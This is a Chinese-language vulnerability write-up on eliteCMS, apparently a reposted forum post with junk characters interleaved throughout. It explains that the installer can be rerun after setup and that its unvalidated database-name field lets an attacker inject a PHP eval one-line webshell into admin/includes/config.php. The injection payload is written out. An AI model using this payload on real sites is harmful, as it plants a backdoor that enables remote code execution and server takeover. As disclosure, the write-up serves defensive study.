eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装
( A; Y4 W$ _* B
$ @0 D" {7 g l- b( \+ H" d另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
7 A; I: N; v% ~; Z我们来看代码:, {6 R$ @- b6 P- Z. W6 b
+ f& C4 b8 b8 o V e2 z...
" F& T$ e m1 u0 M& A' r9 Velseif ($_GET['step'] == "4") {8 L3 g6 W( l; G, i5 S, ]
$file = "../admin/includes/config.php";( z' h+ {; Y L1 i4 v
$write = "<?php\n";
% l% m- {4 M" Z( h $write .= "/**\n";
4 K7 G. G T9 [' a $write .= "*\n";1 i0 V' M I- @0 Y8 f) m: H
$write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
' C8 l: L. J9 \8 d4 w+ w# f...略...! p" N+ R4 j1 d
$write .= "*\n";
" h0 {. K( P' Z# ^ $write .= "*/\n";) c: K$ f) e4 z5 U, x* a5 d
$write .= "\n";' ]0 G7 ]! h8 S
$write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
) z3 k5 b2 c: }7 h7 r $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";) j7 k+ S5 f* n" o+ d
$write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";" R" O; g1 L- e1 M# x2 l
$write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";, F h1 l7 t' n3 C1 ~3 I
$write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
2 r/ z9 U2 d, a( W $write .= "if (!\$connection) {\n";
8 A6 G% l% R4 G- c. _ $write .= " die(\"Database connection failed\" .mysql_error());\n";# O$ ]! v, c+ ?1 x
$write .= " \n";& {6 c6 G3 F0 n$ ]' A
$write .= "} \n";
5 I+ a/ q$ [' v* O; w+ s* R- c $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";& ~* \9 L% E0 I% W V
$write .= "if (!\$db_select) {\n";9 o2 [% P" d+ W
$write .= " die(\"Database select failed\" .mysql_error());\n";: Y- x* q- ]7 a% T3 W
$write .= " \n";* F! L: k# ?, r) O) S
$write .= "} \n";
. k0 {9 z. T; ~ $write .= "?>\n";
. `7 \' `) u/ t5 H4 ~- H" q : L! M9 L! x2 ^0 ]$ |$ H' s
$writer = fopen($file, 'w');
; |( i E/ q6 \9 S...
* @) p; ^6 k! P! w 7 ]0 }; R. N1 q
在看代码:1 X, e# a- T7 D3 b0 Z9 w2 p
, ^$ g V* m3 p; T9 i7 I0 T8 Z. x
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
2 @4 ~: [0 b7 C0 A8 H% t+ i* n$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
! z. h4 m+ ]5 e& _$_SESSION['DB_USER'] = $_POST['DB_USER'];
- T! i" n0 W% a2 P$ r. v# S/ v5 l$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
0 e6 E+ G: a- H8 y$ l2 G
; n7 Q9 w3 N: F3 L- s: i取值未作任何验证
2 D+ D9 @$ A- t/ y$ S X如果将数据库名POST数据:0 D7 _9 W& F5 U7 M( N! w# U
- F1 t! Q2 j# g( {3 o) D$ w* j
"?><?php eval($_POST[c]);?><?php
$ {6 M% j4 D( f) F* i
z+ h) W+ E8 R* E2 z, ?5 o; P将导致一句话后门写入/admin/includes/config.php& ^3 u# Z/ z9 k- y7 E+ Q
|